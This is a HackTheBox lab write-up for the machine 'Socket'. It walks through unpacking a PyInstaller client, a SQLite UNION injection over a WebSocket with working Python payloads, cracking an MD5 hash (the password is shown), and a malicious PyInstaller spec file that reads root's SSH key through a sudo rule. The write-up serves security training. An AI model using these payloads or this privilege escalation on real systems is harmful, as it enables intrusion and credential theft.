HTB: Socket Writeup
Socket - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Socket |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.216 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Socket ships a QR-code web app that also distributes a desktop client (QReader) for Windows and Linux. The Linux build is a PyInstaller-frozen Python 3.10 binary, and pulling it apart with pyinstxtractor exposes the compiled bytecode backing the app’s “check for updates” feature — which talks to a WebSocket service on port 5789 instead of the web front-end. That WebSocket’s /version endpoint accepts a JSON version field that gets concatenated straight into a SQLite query, giving a classic UNION-based SQL injection. Dumping the database yields a crackable password hash and a username hint buried in a support-ticket table, which together produce SSH access. From there, a NOPASSWD sudo rule lets the low-priv user run PyInstaller as root against an arbitrary .spec file — and PyInstaller’s datas directive will happily bundle any file root can read (including root’s SSH key) into the built executable.
TL;DR: Reverse-engineer PyInstaller Linux binary → recover hidden ws.qreader.htb:5789 WebSocket host → SQLite UNION injection on /version → dump users/answers tables → crack MD5 hash + resolve tkeller username → SSH as tkeller (user.txt) → abuse NOPASSWD build-installer.sh (PyInstaller spec injection) to exfiltrate root’s id_rsa → SSH as root (root.txt).
Reconnaissance
Port Scanning
# Full TCP port sweep against the targetnmap -p- -sC -sV -T4 10.129.228.216Results:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP (Apache) | qreader.htb vhost |
| 5789 | Python WebSocket service | custom app backend |
The scan pointed at the qreader.htb domain, so it was added to /etc/hosts:
echo "10.129.228.216 qreader.htb" | sudo tee -a /etc/hostsService Enumeration
The web app on port 80 is a QR-code encode/decode tool, and it also serves a downloadable desktop client:
# Grab the Linux build of the QReader desktop appcurl -O http://qreader.htb/download/linuxThe download is a PyInstaller-frozen Python 3.10 binary — confirmed by strings referencing the PyInstaller loader and bundled Python runtime:
strings qreader | grep -i pyinstallerpyinstxtractor unpacks the frozen archive back into its component .pyc files:
python3 pyinstxtractor.py qreaderRunning strings against the extracted qreader.pyc surfaces the app’s real WebSocket target, which is never exposed in the web UI:
strings qreader_extracted/qreader.pyc | grep -i ws://# -> ws://ws.qreader.htb:5789That endpoint has its own /version route, so ws.qreader.htb was resolved to the same host:
echo "10.129.228.216 ws.qreader.htb" | sudo tee -a /etc/hostsVulnerability Assessment
- Desktop client ships compiled Python bytecode that is trivially recoverable — no obfuscation on the PyInstaller archive.
- The
/versionWebSocket route accepts client-supplied JSON that is passed straight into a backend query — classic injection surface. sudo -l(post-foothold) exposes a script that runs PyInstaller as root with attacker-controlled build inputs.
Initial Foothold
Exploitation Path
With the real backend host known, a small Python client was used to talk to the WebSocket directly and fuzz the version field of the JSON payload the app sends to /version:
import asyncioimport websocketsimport json
async def send(payload): async with websockets.connect("ws://ws.qreader.htb:5789/version") as ws: await ws.send(json.dumps({"version": payload})) return await ws.recv()
print(asyncio.run(send('" OR 1=1;-- -')))Terminating the string with a bare " breaks out of the intended query and lets arbitrary SQL ride along after it — the server was doing string concatenation, not parameterized queries, when building the version lookup.
# Determine column count for UNION injectionprint(asyncio.run(send('" UNION SELECT 1,2,3,4;-- -')))# 4 columns returned with no error -> query has 4 selected fields
# Confirm the backend engineprint(asyncio.run(send('" UNION SELECT sqlite_version(),2,3,4;-- -')))# -> valid SQLite version string returned = SQLite backend confirmedWith the engine confirmed as SQLite, sqlite_master was used to enumerate the schema and pull table/column definitions, then dump the interesting tables directly through the same UNION:
# Enumerate table namesprint(asyncio.run(send('" UNION SELECT name,2,3,4 FROM sqlite_master;-- -')))
# Dump the users tableprint(asyncio.run(send('" UNION SELECT username,password,3,4 FROM users;-- -')))# -> admin:<redacted> (MD5 hash)
# Dump the answers table (support-ticket style data)print(asyncio.run(send('" UNION SELECT answered_by,answer,3,4 FROM answers;-- -')))# -> reveals a real name in the ticket text: Thomas KellerThe answers table dump named Thomas Keller inside a ticket response, which is a strong hint toward a real login (tkeller) even though the only credential the injection directly produced belonged to admin. The admin hash was cracked offline:
# hash extracted via the SQLi is MD5hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt# -> denjanjade122566The admin account itself doesn’t have shell access, but the cracked password was valid for the tkeller login inferred from the ticket data:
ssh tkeller@qreader.htb# password: denjanjade122566cat /home/tkeller/user.txt# <redacted>Privilege Escalation
sudo -l as tkeller revealed a NOPASSWD rule for a wrapper script:
sudo -lThe script builds a PyInstaller executable from a user-supplied file — in build mode, it runs pyinstaller as root against an attacker-provided .spec file. PyInstaller .spec files support a datas list under the Analysis(...) call, which bundles arbitrary files the build process (root) can read into the final executable’s payload — this is meant for shipping non-code assets like icons or configs, but nothing stops it from being pointed at /root/.ssh/id_rsa or /root/root.txt:
a = Analysis( ['dummy.py'], pathex=['/tmp'], binaries=[], datas=[('/root/.ssh/id_rsa', '.'), ('/root/root.txt', '.')], hiddenimports=[], hookspath=[], runtime_hooks=[], excludes=[], noarchive=False,)pyz = PYZ(a.pure, a.zipped_data)exe = EXE(pyz, a.scripts, a.binaries, a.zipfiles, a.datas, name='dummy', console=True)# Trigger the root-owned build with the malicious specsudo /usr/local/sbin/build-installer.sh build /tmp/malicious.specBecause the build runs as root, PyInstaller reads /root/.ssh/id_rsa and /root/root.txt with root’s own file permissions and embeds both inside the resulting dummy executable’s data archive — no direct read access to /root is ever needed by tkeller. The built binary was pulled apart the same way the original QReader client was:
python3 pyinstxtractor.py dummy# extracted payload contains the bundled id_rsa and root.txtchmod 600 dummy_extracted/id_rsassh -i dummy_extracted/id_rsa root@qreader.htbid# uid=0(root) gid=0(root) groups=0(root)cat /root/root.txt# <redacted>Attack Chain Summary
PyInstaller Linux client (reverse engineered) → hidden ws.qreader.htb:5789 endpoint→ SQLite UNION injection on /version → dump users + answers tables→ crack MD5 hash + resolve tkeller username → SSH as tkeller → user.txt→ sudo NOPASSWD build-installer.sh → malicious PyInstaller .spec (datas=id_rsa/root.txt)→ pyinstxtractor extracts root's SSH key → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
pyinstxtractor | Unpacking the PyInstaller-frozen Linux client and the malicious build artifact |
strings | Recovering the hidden WebSocket host from compiled bytecode |
websockets (Python) | Talking directly to the /version WebSocket endpoint |
hashcat | Cracking the recovered MD5 password hash |
ssh | Shell access as tkeller and later as root |
pyinstaller (via sudo wrapper) | Root-context build used to exfiltrate id_rsa/root.txt |
Key Learnings
Techniques Practiced
- Reverse engineering a PyInstaller-frozen desktop binary to recover hidden backend endpoints
- Exploiting a raw-concatenation SQL injection over a WebSocket (not just HTTP) transport
- SQLite-specific enumeration via
sqlite_master/sqlite_version()inside a UNION injection - Abusing PyInstaller
.specdatasbundling to exfiltrate arbitrary root-readable files through a sudo-permitted build step
Lessons Learned
- Application logic isn’t confined to the web front-end — a bundled desktop client can expose a completely separate, less-hardened backend service that never shows up in a normal web crawl.
- Compiling Python to a PyInstaller binary is not obfuscation;
pyinstxtractor+stringsrecovers hardcoded hosts, endpoints, and logic in minutes. - Any endpoint that builds queries by string concatenation is injectable regardless of transport — WebSocket JSON fields need the same input hygiene as URL parameters.
- A “safe-looking” sudo rule that merely wraps a build tool can still be a full root-file-read primitive if the tool has a data-bundling feature (
datas,--add-data) that isn’t restricted by the wrapper.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Socket - HackTheBox Official Writeup by C4rm3l0 (Document No. D23.100.226, Machine Author: Kavigihan) — used to confirm the SQLite injection delimiter/UNION methodology and the PyInstaller
.specdatas-bundling privilege escalation technique described above.